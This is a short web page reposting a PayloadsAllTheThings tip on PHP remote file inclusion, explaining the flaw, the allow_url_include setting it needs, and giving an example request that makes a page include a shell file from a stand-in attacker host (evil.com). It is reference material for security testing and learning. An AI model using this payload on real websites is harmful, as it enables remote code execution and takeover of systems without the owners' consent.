File Inclusion: Remote File Inclusion

File inclusion and path traversalExploitation

From PayloadsAllTheThings by Swissky and contributors, under the MIT licence. Shown as written; the title and classification are ours. Licences. Its authors can have this tip removed by writing to abuse@bugbountytips.org.

Remote File Inclusion (RFI) is a type of vulnerability that occurs when an application includes a remote file, usually through user input, without properly validating or sanitizing the input.

Remote File Inclusion doesn't work anymore on a default configuration since allow_url_include is now disabled since PHP 5.

ini
allow_url_include = On

Most of the filter bypasses from LFI section can be reused for RFI.

powershell
http://example.com/index.php?page=http://evil.com/shell.txt

Comments

No comments yet.